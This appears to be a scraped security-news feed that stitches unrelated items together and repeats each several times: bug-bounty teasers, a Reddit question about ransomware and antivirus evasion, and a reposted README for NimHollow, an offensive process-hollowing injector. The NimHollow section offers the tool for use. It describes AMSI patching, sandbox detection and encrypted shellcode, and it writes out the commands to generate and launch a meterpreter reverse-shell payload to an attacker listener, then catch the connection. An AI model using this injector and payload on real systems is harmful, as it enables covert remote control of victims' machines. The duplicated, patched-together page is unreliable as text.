How I got access Maxlifeinsurance insurance company AWS metadata access by SSRF
Hi, everyoneContinue reading on Medium »
Read more...
Hi, everyoneContinue reading on Medium »
Read more...
HOW I Found 17 Critical and Medium Security Bug on INDUSIND Bank
Hi, everyoneContinue reading on Medium »
Read more...
Hi, everyoneContinue reading on Medium »
Read more...
How I got access Maxlifeinsurance insurance company AWS metadata access by SSRF
https://notifybugme.medium.com/how-i-got-access-maxlifeinsurance-insurance-company-aws-metadata-access-by-ssrf-b9fe3691be4b?source=rss------bug_bounty-5
https://notifybugme.medium.com/how-i-got-access-maxlifeinsurance-insurance-company-aws-metadata-access-by-ssrf-b9fe3691be4b?source=rss------bug_bounty-5
Hi, everyoneContinue reading on Medium » (https://notifybugme.medium.com/how-i-got-access-maxlifeinsurance-insurance-company-aws-metadata-access-by-ssrf-b9fe3691be4b?source=rss------bug_bounty-5)
HOW I Found 17 Critical and Medium Security Bug on INDUSIND Bank
https://notifybugme.medium.com/how-i-found-17-critical-and-medium-security-bug-on-a-well-known-bank-6f2053e5b805?source=rss------bug_bounty-5
https://notifybugme.medium.com/how-i-found-17-critical-and-medium-security-bug-on-a-well-known-bank-6f2053e5b805?source=rss------bug_bounty-5
Hi, everyoneContinue reading on Medium » (https://notifybugme.medium.com/how-i-found-17-critical-and-medium-security-bug-on-a-well-known-bank-6f2053e5b805?source=rss------bug_bounty-5)
can you get infected by just compiling?
https://www.reddit.com/r/Pentesting/comments/roeqla/can_you_get_infected_by_just_compiling/
<!-- SC_OFF -->if you have f.e. c code that is a ransomware and compile it, will it do its harm on the machine its compiled on? second question: would it be possible for an attacker to trick the av with a batch file that compiles the virus? (c source code for example didnt gets detected but compiled exe files do, however if the malicious code already infects the PC during compilation, it is irrelevant if the av detects the compiled exe afterwards, as the PC is already infected) thx for any reply, if thats impossible dont mind im still a noob <!-- SC_ON --> submitted by /u/doggydoggdoggdogg (https://www.reddit.com/user/doggydoggdoggdogg)
[link] (https://www.reddit.com/r/Pentesting/comments/roeqla/can_you_get_infected_by_just_compiling/) [comments] (https://www.reddit.com/r/Pentesting/comments/roeqla/can_you_get_infected_by_just_compiling/)
https://www.reddit.com/r/Pentesting/comments/roeqla/can_you_get_infected_by_just_compiling/
<!-- SC_OFF -->if you have f.e. c code that is a ransomware and compile it, will it do its harm on the machine its compiled on? second question: would it be possible for an attacker to trick the av with a batch file that compiles the virus? (c source code for example didnt gets detected but compiled exe files do, however if the malicious code already infects the PC during compilation, it is irrelevant if the av detects the compiled exe afterwards, as the PC is already infected) thx for any reply, if thats impossible dont mind im still a noob <!-- SC_ON --> submitted by /u/doggydoggdoggdogg (https://www.reddit.com/user/doggydoggdoggdogg)
[link] (https://www.reddit.com/r/Pentesting/comments/roeqla/can_you_get_infected_by_just_compiling/) [comments] (https://www.reddit.com/r/Pentesting/comments/roeqla/can_you_get_infected_by_just_compiling/)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Regex
รูปแบบหรือกลุ่มคำ (pattern) ที่เรากำหนดขึ้นเพื่อเอาไว้ค้นหาข้อความหรือตัวอักษรต่างๆ เพื่อเช็คว่าตรงตามเงื่อนไข (pattern)…
Continue reading on Medium »
Regex
รูปแบบหรือกลุ่มคำ (pattern) ที่เรากำหนดขึ้นเพื่อเอาไว้ค้นหาข้อความหรือตัวอักษรต่างๆ เพื่อเช็คว่าตรงตามเงื่อนไข (pattern)…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Cryptography essential for H4CK3R and CTF player 0x1(encoding).
https://cdn-images-1.medium.com/max/2600/0*H-3lPIHlGqY_Sa-w
Hello dear hackers in this series we will teach you basic concept of cryptography which is very helpful during CTF competition and exam…
Continue reading on Medium »
Cryptography essential for H4CK3R and CTF player 0x1(encoding).
https://cdn-images-1.medium.com/max/2600/0*H-3lPIHlGqY_Sa-w
Hello dear hackers in this series we will teach you basic concept of cryptography which is very helpful during CTF competition and exam…
Continue reading on Medium »
NimHollow - Nim Implementation Of Process Hollowing Using Syscalls (PoC)
Playing around with the Process Hollowing technique using Nim.Features:Direct syscalls for triggering Windows Native API functions with NimlineWhispers.Shellcode encryption/decryption with AES in CTR mode.Simple sandbox detection methods from the OSEP course by @offensive-security.AMSI patching with @rasta-mouse's method is also inside (uncomment it for your needs).UsageInstallation:~$ git clone --recurse-submodules https://github.com/snovvcrash/NimHollow && cd NimHollow~$ nimble install winim nimcrypto~$ pip3 install -r requirements.txt~$ sudo apt install upx -yExample:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin ~$ python3 NimHollow.py shellcode.bin -i 'C:\Windows\System32\svchost.exe' -o injector --upx --rm ~$ file injector.exe injector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows ~$ sudo msfconsole -qr msf.rc ">~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin~$ python3 NimHollow.py shellcode.bin -i 'C:\Windows\System32\svchost.exe' -o injector --upx --rm~$ file injector.exeinjector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows~$ sudo msfconsole -qr msf.rcHelp:usage: NimHollow.py -h -i IMAGE -o OUTPUT --debug --upx --rm shellcode_binpositional arguments: shellcode_bin path to the raw shellcode fileoptional arguments: -h, --help show this help message and exit -i IMAGE, --image IMAGE process image to hollow (default "C:\Windows\System32\svchost.exe") -o OUTPUT, --output OUTPUT output filename --debug do not strip debug messages from Nim binary --upx compress Nim binary with upx --rm remove Nim files after compiling the binaryProcess Hollowing in Slides1. Create the target process (e.g., svchost.exe) in a suspended state. 2. Query created process to extract its base address pointer from PEB (Process Environment Block).3. Read 8 bytes of memory (for 64-bit architecture) pointed by the image base address pointer in order to get the actual value of the image base address. 4. Read 0x200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address.5. Write the shellcode to the EntryPoint address and resume thread execution. Credits@ajpc500 for the NimlineWhispers project.@byt3bl33d3r for the OffensiveNim repository.@S3cur3Th1sSh1t and @chvancooten for Nim code snippets.Download NimHollow
Read more...
Playing around with the Process Hollowing technique using Nim.Features:Direct syscalls for triggering Windows Native API functions with NimlineWhispers.Shellcode encryption/decryption with AES in CTR mode.Simple sandbox detection methods from the OSEP course by @offensive-security.AMSI patching with @rasta-mouse's method is also inside (uncomment it for your needs).UsageInstallation:~$ git clone --recurse-submodules https://github.com/snovvcrash/NimHollow && cd NimHollow~$ nimble install winim nimcrypto~$ pip3 install -r requirements.txt~$ sudo apt install upx -yExample:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin ~$ python3 NimHollow.py shellcode.bin -i 'C:\Windows\System32\svchost.exe' -o injector --upx --rm ~$ file injector.exe injector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows ~$ sudo msfconsole -qr msf.rc ">~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin~$ python3 NimHollow.py shellcode.bin -i 'C:\Windows\System32\svchost.exe' -o injector --upx --rm~$ file injector.exeinjector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows~$ sudo msfconsole -qr msf.rcHelp:usage: NimHollow.py -h -i IMAGE -o OUTPUT --debug --upx --rm shellcode_binpositional arguments: shellcode_bin path to the raw shellcode fileoptional arguments: -h, --help show this help message and exit -i IMAGE, --image IMAGE process image to hollow (default "C:\Windows\System32\svchost.exe") -o OUTPUT, --output OUTPUT output filename --debug do not strip debug messages from Nim binary --upx compress Nim binary with upx --rm remove Nim files after compiling the binaryProcess Hollowing in Slides1. Create the target process (e.g., svchost.exe) in a suspended state. 2. Query created process to extract its base address pointer from PEB (Process Environment Block).3. Read 8 bytes of memory (for 64-bit architecture) pointed by the image base address pointer in order to get the actual value of the image base address. 4. Read 0x200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address.5. Write the shellcode to the EntryPoint address and resume thread execution. Credits@ajpc500 for the NimlineWhispers project.@byt3bl33d3r for the OffensiveNim repository.@S3cur3Th1sSh1t and @chvancooten for Nim code snippets.Download NimHollow
Read more...
NimHollow - Nim Implementation Of Process Hollowing Using Syscalls (PoC)
http://www.kitploit.com/2021/12/nimhollow-nim-implementation-of-process.html
http://www.kitploit.com/2021/12/nimhollow-nim-implementation-of-process.html